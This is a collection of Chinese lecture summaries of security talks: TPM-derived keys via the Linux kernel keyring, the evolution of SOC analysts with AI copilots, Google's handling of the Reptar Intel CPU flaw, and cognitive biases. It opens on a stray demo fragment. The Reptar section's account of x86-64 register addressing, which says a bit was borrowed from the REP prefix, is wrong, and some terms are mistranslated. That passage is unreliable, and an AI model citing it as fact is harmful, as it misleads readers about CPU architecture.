你运行这个的方式。当我现在运行它时,它可能会崩溃,因为它总是崩溃一些东西。所以我做的是,我去我的演示,事件标签。有一个Dapr YAML文件,它只有一个基本的方法来定义每个智能体。我可以直接做Dapr运行那个。抱歉,那个F和那个。

让我们把这些都放到最上面。这正在做什么,如你所见,它。哦,实际上,这就是我喜欢Dapr的地方。Dapr也捕获状态。所以我在从房间下来之前停止了它。所以它试图回到

002:TPM与Linux内核——解锁硬件安全的新路径

概述

在本节课中,我们将要学习如何绕过直接与TPM交互的复杂性,利用Linux内核密钥保留服务作为抽象层,为应用程序提供一种更简单、更安全的方式来使用硬件安全功能。我们将探讨TPM的基本概念、当前开发者面临的挑战,并提出一种基于密钥派生和Linux内核功能的新颖解决方案。

什么是TPM?

TPM(可信平台模块)是一个小型的安全芯片,通常独立存在,但在现代硬件中也可以集成到主处理器中。它存在于大多数现代笔记本电脑和服务器中。TPM是一个被动且非侵入式的设备,它只在收到命令时执行操作,不会主动监控内存或其他系统资源。尽管它是一个廉价、低功耗且速度较慢的设备,但它为平台完整性、身份验证和远程证明建立了一个强大的基础。TPM是一个加密芯片,可以处理加密密钥。

开发者面临的挑战

上一节我们介绍了TPM的基本概念,本节中我们来看看开发者想要使用TPM时会遇到哪些实际困难。

我的初始思维模型很简单:我编写代码,存在一个TPM,我想使用它。但现实情况要复杂得多。我的代码运行在操作系统上,而操作系统负责管理应用程序对硬件的访问。因此,在Linux上,我的应用程序需要通过一个代表TPM的Linux设备文件 /dev/tpm0 来与其通信。

但这还不够。要与TPM通信,需要一个叫做资源管理器的东西。TPM价格低廉,但功能不强,不支持多租户同时访问。在操作系统的多任务环境中,可能有多个应用程序试图访问TPM。资源管理器的作用是序列化这些访问请求,以免TPM发生混乱。

此外,我还需要一个TPM库来与资源管理器或TPM进行高层通信。我的初始模型“应用程序 -> TPM”变成了“应用程序 -> TPM库 -> 资源管理器 -> TPM”。开发者需要了解所有这些组件。

以下是关于资源管理器和TPM库的具体问题:

  • 资源管理器:最初的实现是一个用户空间的守护进程。对于开发者来说,这很令人困惑。你试图访问一个已知存在的设备,但如果这个守护进程(可能用C编写)崩溃、未启动或系统配置错误,你的应用程序就无法工作。现代Linux内核已经将资源管理器直接重新实现到操作系统中,因此它总是运行着。现在,要访问TPM,你需要与 /dev/tpmrm0(资源管理器设备文件)通信,而不是直接与 /dev/tpm0 通信。
  • TPM库:目前有两个主要的、相互竞争的实现:Intel TSS(可信软件栈)和IBM的实现。它们都试图遵循标准,但标准并未定义API,因此它们的API完全不兼容。开发者必须选择其一,或者编写包装层来同时支持两者。此外,还有用Go语言编写的纯Go实现(Go-TPM),可能也有Rust实现。开发者需要了解可用的库并依赖它们,或者自行打包。

Linux内核密钥保留服务

上一节我们看到了直接使用TPM的复杂性,本节中我们来看看Linux内核提供的一个强大抽象:密钥保留服务。

Linux内核有一个很棒的功能,叫做Linux内核密钥保留服务,简称密钥环或密钥库。它类似于Mac上的钥匙串或Windows上的加密提供程序。其基本思想是:Linux内核为应用程序提供了三个特定的系统调用来管理密钥。应用程序可以使用这些系统调用将密钥作为内核对象存储在内核中。

最初,它被设计为向内核子系统提供加密信息。例如,如果你启用了全盘加密,需要提供密码来解锁磁盘,内核需要知道你的密码。应用程序(如密码解锁程序)可以通过这个接口将密码提供给内核。

后来,它被扩展为允许应用程序之间使用这些密钥。一些应用程序可以向内核提供密钥,而其他应用程序可以使用这些密钥。这类似于一种软件HSM模型,密钥与应用程序的地址空间分离,这对安全性非常有利。

在内核内部,密钥表示为密钥环和密钥的集合。密钥环可以包含其他密钥环或密钥,类似于文件系统层次结构。一个密钥可以同时存在于多个密钥环中。密钥在密钥环中的存在定义了其生命周期。例如,如果从一个密钥环中移除一个密钥,而该密钥不再存在于任何密钥环中,操作系统将安全地自动销毁它。

Linux内核密钥库支持多种密钥类型:

  • 用户密钥:最简单的类型,本质上是一个包含秘密数据的缓冲区。一个进程可以将其放入内核,同一进程或具有适当权限的另一个进程可以将其读回。
  • 登录密钥:与用户密钥类似,但一旦放入内核,无论拥有何种权限,都无法再读回。它专门用于向需要访问加密材料的内核子系统(如磁盘加密)提供凭证。
  • 非对称密钥:你可以将RSA密钥等非对称密钥放入内核。另一个进程无需读取密钥本身,只要拥有适当权限,就可以请求内核使用该密钥执行加密操作(例如签名)。这使得内核成为你的软件HSM或软令牌。

结合TPM与内核密钥库

上一节我们介绍了内核密钥库这个软件HSM,以及TPM这个本应存储密钥的硬件。将它们结合起来不是更好吗?

Linux确实在一定程度上做到了这一点,但方式非常特定。存在一种叫做“可信密钥”的密钥类型。使用用户密钥的问题是,即使你可以将密钥插入内核,插入它的进程仍然可以访问明文的加密材料。如果此时触发类似Heartbleed的漏洞,内存可能被转储,导致密钥泄露。

可信密钥旨在解决这个问题。可信密钥是一个用特定TPM加密的密文块。当某个进程插入可信密钥时,内核内部会要求TPM解密它。在内核空间,密钥以明文形式存在。但如果你试图读回它,它总是会自动被TPM再次加密。在用户空间,它始终是加密块。

然而,直到最近,这都不是非常有用。唯一有用的功能仍然是以加密形式向内核提供磁盘加密密码,因为进程无法直接使用那个始终加密的可信密钥。

这就引出了另一个子系统:Linux加密API。它独立于密钥库和TPM。通过Linux加密API,你可以将Linux内核用作加密库。例如,你创建一个特殊的套接字类型,通过它向内核发送加密密钥来实例化一个加密算法,然后发送数据让内核加密并返回。

问题在于,Linux加密API独立于密钥库API。你提供的只是一个应用程序中的字节缓冲区。我们看到了一个机会,并提议了一个Linux内核补丁,将这两个子系统结合起来,允许你在使用内核加密时引用一个密钥库密钥,而不是直接提供字节缓冲区。

这使得可信密钥变得可用。你可以将可信密钥插入内核,它在内核中是明文的,但现在你可以创建一个加密套接字,并让该算法引用这个密钥。这样,你虽然不知道密钥内容,但仍可以用它加密数据。这让你更接近一个合适的软件HSM。此功能从Linux 6.2开始合并。

但这种方法目前仅支持对称密钥。你只能加密数据,不能签名或验证。对于非对称操作,你需要使用不同的非对称密钥类型。Linux内核开发者已经在研究将非对称密钥也与TPM绑定。一个补丁集正在开发中,它允许你将签名密钥绑定到TPM,使密钥实际驻留在TPM上,连内核都没有明文材料。

然而,这种方法存在几个固有问题:

  1. 性能:TPM速度慢。如果你通过TPM处理所有操作,无法存放太多密钥。例如,将TLS密钥放在那里会导致Web服务器变慢,TLS握手太慢。
  2. 密钥管理:可信密钥的创建方式带来了根本性的密钥管理问题。你随机生成一个密钥,然后用TPM将其加密成一个密文块。虽然这保护了密钥,但密钥管理部分很糟糕。如果你丢失了这个密文块,就无法恢复密钥。你需要考虑在哪里存储这些密文块、如何备份、如果磁盘损坏或配置错误意外擦除该怎么办。
  3. 状态管理:每个服务都需要自己的密文块,导致产生大量必须小心存储和备份的关键额外状态。

一种更好的方法:TPM派生密钥

上一节我们探讨了现有方法的问题,本节中我们来看看一种可能更好的方法:翻转密钥生成方式,将可信密钥变为派生密钥。

每个TPM都有一个称为种子(seed)的安全、唯一的加密材料。根据TPM设计标准,你永远无法从TPM中获取这个种子。TPM提供的是一个密钥派生函数(KDF),你可以通过它从种子派生出密钥。

如果我们不生成随机密钥,而是使用这种方法呢?为了使密钥对每个应用程序唯一,我们可以提供一个“混合因子”(mix-in),即应用程序的元数据。这个元数据不需要是秘密,可以是任何能唯一标识应用程序的东西,例如文件系统路径。

这种方法的优点:

  • 可扩展性:我们可以为任意多的应用程序生成密钥,只要混合因子唯一即可。
  • 无状态/可丢弃:密钥生成过程完全可从TPM重现。你不需要存储任何东西,可以在每次启动时重新生成。这对于无盘系统特别有用,例如,你可以为SSH守护进程获得一个静态的SSH主机密钥,即使系统没有持久存储。
  • 简化管理:无需备份和管理大量的密文块。

实现:利用Linux请求密钥机制

如何实现这一切呢?这需要理解Linux中两个系统调用的区别:add_keyrequest_key

  • add_key:进程负责向内核提供加密材料(明文或密文块)。语义是:“内核,这是我的密钥,请收下。”
  • request_key:进程本身无法访问任何加密材料。它向内核请求:“内核,请把我的密钥给我。” 内核负责为该进程找到密钥。由于每个系统设置不同,内核不知道去哪里找。因此,它会创建一个占位符,并调用一个用户空间的特殊进程(称为“回调进程”)。系统管理员可以配置或编写自定义模块来处理特定类型的密钥请求。

我的想法是:编写一个模块,将密钥请求重定向到TPM。当进程请求密钥时,该插件根据我介绍的架构(使用TPM种子和应用程序元数据)生成一个密钥,返回给内核,内核再通知进程密钥已就绪。这样,进程甚至不需要知道它需要什么密钥,它只需请求“我的密钥”。

我编写了一个概念验证插件(用Python编写)。它根据请求密钥的应用程序的元数据,从TPM种子可靠地派生出密钥。

配置系统使用该插件后,当应用程序请求一个以 tpm2-derived 开头的特定ID的密钥时,就会调用我的插件与TPM通信来生成该密钥。

例如,使用Linux提供的 keyctl 工具模拟应用程序请求:

keyctl request user tpm2-derived:test 32 path

这请求一个32字节的用户密钥,ID为 tpm2-derived:test,并使用应用程序路径作为元数据。插件会生成密钥。删除该密钥后再次请求,由于元数据相同,会重新生成完全相同的密钥。如果更改元数据(例如移动应用程序路径),则会得到不同的密钥。

插件还支持其他元数据类型,如可执行文件的校验和(checksum),将密钥绑定到平台TPM和具体的可执行代码本身。这样,即使移动可执行文件,只要代码未变,密钥不变;如果修改了可执行文件(即使一个字节),密钥就会改变。

插件也支持非对称密钥。你可以请求一个非对称密钥,然后让Linux内核密钥库用它签名数据。删除并重新创建密钥后,由于密钥被可靠地重新生成,签名验证依然有效。

未来方向与总结

当前的插件架构仍有一个地方密钥以明文形式存在于用户空间(特权回调进程中)。虽然比在普通应用程序中好,但最好能消除这个中间环节。这需要内核开发。

我去年向Linux内核提交了一个补丁集,提议在内核中实现所有这些功能。最初的反馈是怀疑这种派生解决方案是否真的能解决任何实际问题。这也是我做这次演讲的部分原因。经过讨论,我们同意需要进一步研究。内核开发者提出了一些很好的改进建议,例如,通过修改TPM驱动,可以为内核保留一个专门的密钥命名空间,防止拥有root权限的用户空间进程通过直接访问TPM来重新生成并窃取内核派生的密钥。

结论:

  1. 直接与TPM交互非常困难,因此大多数应用程序完全避免使用它们。
  2. Linux内核密钥保留服务是一个很好的抽象层,每个应用程序都可以使用它,无需特殊权限。它可以屏蔽TPM交互的复杂性。
  3. 但正如所见,可能需要一些额外的开发工作(使用插件或等待内核功能合并)。
  4. TPM派生密钥可能是TPM可信密钥的一个非常好的替代方案。它提供了类似的硬件绑定安全保证,但密钥管理可能变得非常简单。
  5. 目前,你可以通过请求密钥插件在当前内核中使用它。或者,可以等待内核版本更新,以避免明文材料暴露给用户空间。
  6. 通过Linux内核密钥库暴露TPM功能,可以为应用程序提供采用硬件安全的直接路径。对应用程序来说,这只是通过系统调用与操作系统对话。
  7. 这也适用于其他安全芯片(如手机安全芯片、Titan、Amazon的芯片等)。如果开发安全芯片,请考虑通过Linux内核密钥库暴露其密钥存储功能,这样系统上的任何应用程序都可以轻松使用你的硬件,而无需额外的软件依赖。

本节课中我们一起学习了如何通过Linux内核密钥库来简化TPM的使用,探讨了现有方法的挑战,并提出并演示了一种基于TPM派生密钥和request_key机制的无状态、可扩展的解决方案,为应用程序安全地利用硬件安全功能开辟了一条新路径。

有用链接

  1. Linux内核密钥保留服务文档
  2. 可信密钥文档
  3. TPM维护者实现非对称TPM密钥的持续努力
  4. 我的Python请求密钥插件(扩展链接)
  5. 关注此项工作(如希望了解内核内部版本的进展)

003:SOC工程师的演变与AI时代的人类角色

在本节课中,我们将探讨安全运营中心(SOC)在过去25年中的演变历程,并展望AI技术如何塑造SOC工程师的未来角色。我们将看到,AI并非要取代人类分析师,而是成为其强大的助手,共同应对日益复杂的网络安全挑战。

从历史看演变:SOC的进化之路

上一节我们介绍了课程概述,本节中我们来看看SOC角色的历史演变。网络安全本身是一个相对年轻的领域,其运营模式随着技术发展而不断进化。

20世纪90年代:网络监控的萌芽

在20世纪90年代,安全运营中心的概念开始出现,最初主要用于政府和国防组织。当时的网络安全管理非常基础。

以下是当时的主要特点:

  • 核心任务:专注于基础网络监控,检查防火墙状态和入侵检测系统。
  • 数据来源:主要收集防火墙和网络层面的日志。
  • 人员角色:尚未出现专职的SOC分析师角色,通常由网络管理员兼任。
  • 所需技能:了解网络协议、基础防火墙配置和日志分析。

21世纪初:企业化与专业化

进入21世纪,大型企业和金融机构开始重视集中式安全监控,SOC开始走向专业化。

以下是该阶段的关键发展:

  • 概念形成:出现了集中式安全监控概念和专用的SIEM(安全信息与事件管理)解决方案。
  • 团队建设:开始组建7x24小时的安全团队,并设立专职的安全分析师岗位。
  • 技能扩展:分析师除了需要历史技能,还需理解工具操作和内部事件响应流程。
  • 威胁认知:开始需要理解恶意软件的基本功能概念。

2005-2014年:黄金发展期与复杂化

2005年左右,合规性要求(如ISO 27001)和首批SIEM象限报告出现,SOC运营变得更加结构化。2007年至2014年被认为是SOC发展的“黄金时代”。

以下是该时期引入的新维度:

  • 分层架构:SOC团队开始出现层级划分(如Tier 1, Tier 2, Tier 3)。
  • 技能升级:分析师需要具备正则表达式知识,以编写更复杂的检测规则。
  • 新威胁与新服务:高级持续性威胁(APT)攻击激增,催生了托管安全服务提供商(MSSP),即“SOC即服务”。
  • 自动化萌芽:出现了安全编排、自动化与响应(SOAR)的概念,旨在自动化响应流程。
  • 调查深化:分析师需要开始进行取证调查,并掌握脚本编写技能以实现自动化。

2015年至今:云时代与AI赋能

2015年后,云计算普及、数据量激增,推动了SOC技术的又一次变革。

以下是当前时代的主要特征:

  • 数据源爆炸:需要监控云环境(AWS, Azure, GCP)、终端(BYOD)、云访问安全代理(CASB)、云安全态势管理(CSPM)等众多来源。
  • 技能需求拓宽:SOC分析师需要了解身份认证、云平台原理,并成为特定领域的专家(如云安全、身份安全)。
  • 方法演进:从被动响应转向主动威胁狩猎。
  • AI与机器学习应用:为应对告警疲劳,引入了用户与实体行为分析(UEBA)。如今,AI和机器学习已深度集成到现代SOC平台的各个层面。

现代统一安全运营平台与AI

上一节我们回顾了SOC的演变,本节中我们来看看当今最先进的统一安全运营平台如何整合AI能力。传统上,SIEM和XDR(扩展检测与响应)等工具是分离的,分析师需要在不同门户间切换调查。现代平台正致力于统一这些体验。

在一个典型的统一平台中,AI技术已应用于以下核心领域:

  • 威胁检测与分析:利用机器学习算法检测行为异常。
  • 自动化响应:例如,在检测到用户被入侵后,AI可自动在Active Directory中禁用该用户账户。
  • 事件优先级排序:基于业务上下文和风险信号,AI辅助判定事件严重等级(高、中、低)。
  • 威胁狩猎:数据科学家可使用Jupyter Notebook等工具,编写基于业务场景的高级狩猎查询。
  • 安全副驾驶(Copilot):这是近两年的重大发展,旨在直接辅助SOC分析师的工作。

深入核心:安全副驾驶(Copilot)如何工作

上一节我们了解了AI在SOC平台中的广泛应用,本节中我们重点剖析最具代表性的AI助手——安全副驾驶。它就像SOC分析师的“ChatGPT”,旨在降低工作复杂度。

安全副驾驶主要帮助分析师应对以下挑战:

  • 技能要求广:需要熟悉产品、数据模式(Schema)和查询语言(如KQL)。
  • 事件优先级判断:在海量告警中快速识别关键威胁。
  • 调查效率:快速理解复杂的多阶段安全事件。

其工作流程类似于大语言模型的提示工程:

  1. 接收提示:分析师通过界面提出问题(如“显示与此用户ID相关的所有事件”或“编写KQL查询获取前10个事件”)。
  2. 收集数据:系统从SIEM、XDR、威胁情报等多个数据源收集相关信息。
  3. 模型处理:将整理后的信息发送给大语言模型(如专为安全定制的模型)进行处理。
  4. 插件执行:根据需要调用插件执行后续操作(如在ServiceNow中创建工单)。
  5. 返回结果:将生成的响应返回给安全产品界面。

具体来说,安全副驾驶能提供以下关键帮助:

  • 事件摘要:用人类可读的语言总结复杂安全事件。
  • 文件逆向工程:分析可疑脚本文件,解释其行为步骤,对不擅长脚本的分析师尤其有用。
  • 查询编写:根据自然语言描述,自动编写KQL等查询语句。
  • 影响分析:评估安全事件可能造成的影响范围。
  • 引导式响应:提供下一步操作建议。

引导式响应:AI助手的决策支持

上一节我们介绍了安全副驾驶的通用功能,本节中我们深入探讨其核心组件之一——引导式响应。它不仅仅是回答问题,更是提供一套结构化的行动建议。

引导式响应旨在帮助分析师完成分类、调查、遏制和修复的全流程。其设计目标是在保证高准确性的前提下,适应不同SOC的运营偏好和业务上下文,并能持续学习新的威胁手法。

微软公开了一份详细架构白皮书和相关数据集,以促进该领域的研究与发展。该数据集包含约200万条告警和数百万条标注事件,源自真实环境。

引导式响应系统主要依赖三个流水线协同工作:

  • 训练流水线(每周运行):使用历史SOC遥测数据训练分类和行动推荐模型。公式可简化为:模型 = 训练(历史事件数据)
  • 推理流水线(每15分钟运行):为传入的新事件提供行动建议,并查找相似历史事件。
  • 嵌入流水线(每30分钟运行):处理过去180天的事件数据,生成并更新事件向量,以便快速进行相似性匹配。

研究表明,安全副驾驶对经验不足的安全分析师和IT管理员帮助更大,特别是在开启一项未知调查时。它正成为SOC工作中不可或缺的工具。

未来展望:SOC工程师的发展路径

上一节我们看到了AI工具的有效性,本节中我们展望未来,探讨SOC工程师应如何适应并引领这场变革。尽管技能要求不断拓宽,但AI不会取代SOC分析师。高级管理层仍希望由人类做出最终安全决策。

当前SOC依然面临诸多挑战:

  • 专家人才短缺
  • 告警疲劳
  • 自动化程度有限(即使有SOAR)
  • 合规负担加重(如DORA法规)
  • 威胁不断演变(攻击者也在利用AI)

面对挑战,SOC分析师应把握以下机遇和发展方向:

  • 掌握提示工程与AI精通:这是未来的必备技能。不仅要会使用AI,还应学习编写提示手册(Promptbook)甚至插件,定制化AI助手。
  • 深化云安全专业知识:随着环境向云迁移,深入了解至少一个主流云平台的安全机制至关重要。
  • 保持适应性与敏捷学习:安全领域持续变化,需要保持学习热情,利用会议、研究和AI工具本身进行技能提升。

未来的SOC分析师将与AI协同工作,人类负责战略决策、上下文理解和监督AI,而AI负责处理海量数据、提供初步分析和自动化响应。两者的结合将使安全运营更高效、更智能。

总结

本节课中我们一起学习了安全运营中心(SOC)从20世纪90年代至今的演变历程,看到了SOC工程师所需的技能如何随着网络、云和AI技术的发展而不断扩展。我们深入探讨了现代统一安全运营平台如何整合AI,特别是安全副驾驶(Copilot)及其引导式响应功能的工作原理与价值。最后,我们明确了AI不会取代人类分析师,而是强大的辅助工具。未来的SOC工程师需要积极拥抱AI,掌握提示工程等新技能,并深化在云安全等专业领域的知识,方能在日益复杂的网络安全环境中保持领先。

004:深入解析谷歌对关键CPU漏洞的发现与修复

在本节课中,我们将跟随一位谷歌安全工程师的视角,深入了解谷歌内部如何应对一个影响广泛的CPU关键漏洞。我们将学习从漏洞发现、影响评估、修复方案制定到大规模协调响应的全过程,并了解谷歌在应对此类安全事件时所遵循的严谨流程和自动化工具。

演讲者背景与团队介绍

我是Yu Hassein,谷歌的一名安全工程师。我目前隶属于企业基础设施保护团队,负责为谷歌的基础设施构建安全控制,并专注于确保谷歌对云服务(包括谷歌云、Azure、AWS)的安全使用。

在此之前,我曾在一个名为“漏洞协调中心”的团队工作。这个团队专门负责处理关键漏洞。当出现一个影响巨大、修复工作极其复杂且压力巨大的漏洞时,就需要这样一个团队来端到端地管理整个响应流程。我曾亲自领导过一次针对此类漏洞的响应工作,这也是本次分享的核心内容。

此外,我还参与管理谷歌的漏洞赏金计划。当外部研究人员向谷歌提交漏洞报告时,我会负责复现漏洞,并与开发人员协作修复。

我工作中非常享受的一部分是开发安全工具。可以说,我是一名安全工程师兼软件开发者。我们为谷歌开发工具必须考虑大规模应用,这要求我们像软件工程师一样思考问题。例如,我曾开发过一个自动化系统,它能自动获取关于已知漏洞的公开信息,并与谷歌内部的情报数据进行关联分析。如果发现某个漏洞在野外被利用或可通过网络被利用,该系统会自动调整该漏洞工单的优先级并通知开发人员修复。

漏洞协调中心与漏洞赏金团队关系密切。并非所有漏洞都需要协调中心处理,只有那些非常复杂和关键的问题才会从赏金计划升级到协调中心。我曾是唯一同时隶属于这两个团队的成员,这让我能更好地在两个团队间协调工作。

漏洞协调中心与大规模修复

那么,谷歌是如何进行大规模漏洞修复的呢?漏洞协调中心是一个既懂技术(如何识别、复现和修复漏洞)又懂大规模事件管理的团队。

在许多公司,通常有一个团队负责处理被黑后的安全事件。但在谷歌,我们对漏洞的处理方式有所不同。如果一个关键漏洞在谷歌被利用之前被发现,我们就会将其宣告为一次安全事件,并像管理事件一样管理它。时间在这种场景下至关重要。试想,如果有人发现了一个能关闭谷歌搜索的漏洞,这将是需要漏洞协调中心牵头处理的重大事件。

技术背景铺垫

在进入具体的响应故事之前,我们先铺垫一些技术背景,确保大家理解一致。

首先,我们编写的代码(例如C语言)经过编译后,会变成一系列供机器执行的指令比特。通过反汇编工具,我们可以将这些比特转换回人类可读性最高的形式——汇编语言。

汇编指令由操作码和操作数组成。例如,指令 mov eax, ebx 表示将数据从寄存器 ebx 移动到寄存器 eax。计算机的核心工作之一就是在寄存器之间移动比特并进行计算。

有些指令的操作数是隐式的。例如,rep stos 指令,rep 是前缀,表示重复执行后面的 stos 指令,而源和目标操作数由机器隐式处理。

那么,如果给机器一个像 rep rep 这样的指令会怎样?实际上,多余的 rep 会被忽略,机器只执行一次重复操作。

在32位系统中,我们用3个比特来寻址寄存器,最多可以表示 2^3 = 8 个寄存器。但在64位系统中,为了寻址更多寄存器,设计者借用了之前被忽略的 rep 前缀中的一个比特。这样,我们有了4个比特,可以寻址 2^4 = 16 个寄存器。因此,64位系统在这方面更像是一种“技巧”。

接下来介绍两个性能特性:ERMS(增强型重复移动存储)和FSRM(快速短重复移动)。它们是英特尔CPU引入的性能特性。ERMS使某些重复移动操作更高效,但当操作涉及的数据块较小时,其启动开销可能不划算。FSRM则专门针对小块数据优化,提供了性能增益。

最后,我们来看一个标志。这个标志大家都认识,但可能并不完全了解其背后的含义。我们稍后会回到这个话题,它很重要。

漏洞响应故事:RepTar

现在,让我们进入具体的响应故事。在谷歌,我们有安全研究员全天候寻找有趣的漏洞。有时,他们会在CPU中发现漏洞。

研究员们采用的一种方法是:获取一个程序,创建其副本并赋予其略微不同的特性。理论上,这两个程序应产生相同的输出。但如果输出不同,就说明存在问题。

他们正是通过这种方法进行测试。结果发现,在满足特定条件的系统上运行这些程序会导致机器检查异常,进而使机器宕机。这个漏洞被称为 RepTar,影响英特尔CPU。

这听起来似乎不是大问题?在自己的数据中心运行代码导致系统宕机,似乎影响有限。

但关键在于云环境。当你在云平台的客户机(虚拟机)上运行此漏洞利用代码时,它会导致宿主机(物理机)发生机器检查异常并宕机。在云环境中,一台物理机通常承载着多个客户的虚拟机。这意味着,攻击者可以通过在谷歌云上启动一个虚拟机,运行一段简单脚本,就能导致承载该虚拟机的物理机及其上所有其他虚拟机宕机。如果大规模进行,后果将是灾难性的。

响应流程与影响评估

接下来,我们看看谷歌如何响应这个漏洞。响应流程包含多个阶段。

首先是影响评估。我们需要回答几个关键问题:如何利用此漏洞?利用难度如何?我们是否有使用受影响系统的产品?在这个案例中,我们很快达成共识:对于云服务,这是一个严重问题,因为它可以导致承载多台虚拟机的宿主机宕机。

那么,谷歌哪些产品会受到影响?首先是谷歌云。攻击者可以轻易编写脚本,在谷歌云虚拟机上运行,导致物理机宕机。

谷歌基础设施演进与影响范围

为了理解影响范围,我们需要回顾一下谷歌基础设施的演进历史。

大约在2003年,谷歌采用传统方式管理数据中心应用,效率不高且管理复杂。为此,谷歌开发了名为 Borg 的集群管理系统,用于在全球数据中心自动化部署和管理软件。

几年后,为了更高效地共享资源,谷歌开发了 cgroups(控制组),这成为容器资源控制的基础。大约十年后,一个与Borg非常相似的系统进入了公共领域,那就是 Kubernetes

基于此,你认为哪些系统会受RepTar漏洞影响?答案是:运行在英特尔CPU上的谷歌云、Borg基础设施都可能受影响。谷歌内部仍然广泛使用Borg运行所有软件。

因此,我们面临的情况是:谷歌云和Borg基础设施均受影响,并且我们有一个月左右的保密期。我们必须在此期间找到解决方案、完成修复,然后在保密期结束后向公众披露漏洞信息,以便其他人也能修复。

协调响应与修复方案

初始步骤是向英特尔报告漏洞,以便协作解决。同时,谷歌、亚马逊、微软等公司会组成一个协作圈,共同测试修复方案,并在公开披露前完成内部修复。

除了服务器,客户端设备是否受影响?是的,运行英特尔CPU的ChromeOS设备也受影响。我们需要在那里修复漏洞。

在客户端,漏洞似乎只是导致设备重启,属于不便,但危害不大?攻击者如何利用呢?情况在英特尔深入研究后发生了变化。

由于英特尔CPU是一个黑盒,我们不了解其全部内部细节。英特尔在收到报告后进行内部研究,发现通过此漏洞可以实现 权限提升。这意味着攻击者可能通过浏览器会话等途径,利用漏洞完全控制客户端系统。这使得客户端也成为了高价值目标。

修复策略:鸡血位与微码更新

在响应的最初几周,我们首先需要识别受影响的机器数量,并评估修复所需时间。

修复方案有两种选择:一是等待供应商(英特尔)提供修复;二是我们自己想办法。我们确实考虑过自行解决。

一位工程师提出了一个想法:利用CPU中的“鸡血位”。有时,CPU引入新功能时,会提供一个可以开关的比特位来禁用该功能。由于此漏洞的利用需要系统启用FSRM功能,因此禁用该功能即可阻止漏洞利用。

但这里有个问题:FSRM是一个性能特性。禁用它会导致性能下降约10%。这并非理想方案,但我们将其作为备用方案,以防供应商无法及时提供修复。

幸运的是,英特尔随后提供了微码更新,可以在不禁用功能的情况下修复漏洞,且没有性能影响。经过谷歌、亚马逊等公司的生产验证测试后,该微码更新被确认为可靠解决方案。

大规模部署与热加载

接下来是如何大规模部署修复。一种方法是重启机器并应用固件更新,但这对于Borg和谷歌云的海量机器来说挑战巨大。

我们采用了另一种策略:热加载 微码更新。这意味着我们可以在不重启机器的情况下,将修复固件应用到CPU上。这个过程对用户和上层应用基本是透明的,虽然从CPU周期层面看可能有细微差异,但不会影响应用程序运行。

对于ChromeOS的修复则相对简单:发布更新,客户端设备下载并应用即可。

事件指挥结构与IAG协议

如此复杂的响应工作绝非一两人可以完成。谷歌有一套名为 IAG 的事件管理协议和流程,灵感来源于医护人员和消防员的应急协议,旨在紧张情况下有条不紊地执行预案。

启动IAG流程后,首先会建立一个独立于公司常规管理结构的事件指挥团队。在此次事件中,我担任事件指挥官,相当于此次事件的“CEO”,拥有最高决策权。

团队结构包括:

  • 行动负责人:负责技术修复和部署。
  • 数据中心响应负责人:专注于数据中心层面的修复。
  • 谷歌云响应负责人:负责谷歌云相关事宜。
  • ChromeOS响应负责人:处理客户端系统修复。
  • 企业响应与平台安全负责人:保护谷歌内部企业系统。
  • 技术研究负责人:领导最初发现漏洞的研究团队。
  • 技术负责人:统领所有技术挑战,并与英特尔等供应商对接。
  • 沟通负责人:负责内部外部沟通,包括撰写安全公告。
  • 法律负责人:确保所有沟通符合法律要求。
  • Alphabet非谷歌公司负责人:协调保护谷歌母公司Alphabet旗下其他非谷歌公司(如Verily)。由于与英特的保密协议仅限谷歌,我们只能在漏洞公开后协助这些公司修复。

遵循IAG协议使我能够专注于关键的分析和决策工作,避免在压力下慌乱。

公开披露与后续插曲

响应的最后阶段是公开披露。这一天我们既感到欣慰(工作完成),也略带紧张(未知的公众反应)。我的经验是,最令人担忧的往往是那些有充足时间、不为金钱只为兴趣的研究者。漏洞公开后,他们可能会找到更简单的利用方法,甚至衍生出新的漏洞。

我们按计划发布了安全公告。一切似乎都已结束,我正准备休假。

然而,在公告发布一天后,我们收到了公众的一条消息。对方称,在谷歌云的Cloud Shell环境中使用我们发布的漏洞检测工具 Icebreak 进行测试,结果显示漏洞仍然存在。

这引起了我们的警觉。经过紧急分析,我们发现是 Icebreak工具本身存在一个Bug,导致误报。系统实际上已经修复。虚惊一场后,我们修复了工具,我也得以按计划休假。

经验总结与未来改进

从这次经历中我学到了很多。遵循IAG协议至关重要,它帮助我们在高压下保持专注,按部就班地处理问题。

有哪些可以做得更好?我认为可以进行更多的演练,让大家更熟悉此类响应流程。在沟通和工具部署方面也存在一些可以优化的挑战。虽然整体顺利,但总有改进空间。

我们能否实现自动化?当然可以。这次经历直接促成了我后续开发的一个内部项目——谷歌CPU响应工具包。这个工具包旨在让未来的CPU漏洞响应更易于管理。作为事件指挥官,你无需手动创建大量文档和准备工作。该工具包可以自动化处理诸如工件准备、修复就绪状态检查、团队协调沟通等繁琐任务,让你能更专注于需要指挥官决策的关键部分。

我相信谷歌已经为应对下一次重大漏洞做好了充分准备。我们拥有强大的流程、团队和工具,只要保持冷静、遵循协议,就能妥善处理。

本节课中,我们一起深入探讨了谷歌应对关键CPU漏洞“RepTar”的完整生命周期。我们从漏洞的发现与原理讲起,逐步分析了影响评估、修复策略制定(包括鸡血位与微码更新)、大规模协调部署的挑战,并重点介绍了谷歌内部的事件指挥协议(IAG)如何确保复杂响应工作有序进行。最后,我们总结了经验教训,并看到了自动化工具(如CPU响应工具包)在提升未来响应效率方面的价值。希望这次分享能让你对大型科技公司如何管理安全危机有一个直观的了解。

005:认知偏差与乐观主义陷阱

在本节课中,我们将探讨人类决策背后的心理学原理,特别是我们的大脑如何通过“启发法”快速做出判断,以及当这些捷径被过度使用时,如何演变成危险的“认知偏差”。我们将通过现实世界的案例,理解“乐观主义”在技术、安全乃至日常生活中如何导致重大失误,并学习如何通过现实主义来平衡我们的乐观倾向。

我们的大脑与决策

我们的大脑是我们拥有的最强大的计算机,它每天都在超负荷工作,处理我们接收到的各种感官输入。我们必须做出许多决策,而决策是困难的。我们的大脑为了高效运作,会创建一些思维捷径,我们称之为“启发法”。

什么是启发法?

启发法是我们头脑中允许我们快速做出决策的小技巧。通常它们效果很好,但有时则不然。两位学者——阿莫斯·特沃斯基和丹尼尔·卡尼曼——帮助我们定义和理解了许多不同的启发法和偏见。

  • 代表性启发法:根据事物与典型例子的相似程度来判断其概率。
  • 可得性启发法:依据想起例子的容易程度来评估事件发生的频率或概率。
  • 锚定与调整启发法:在做判断时,过分依赖最初获得的信息(锚点)。

从启发法到认知偏差

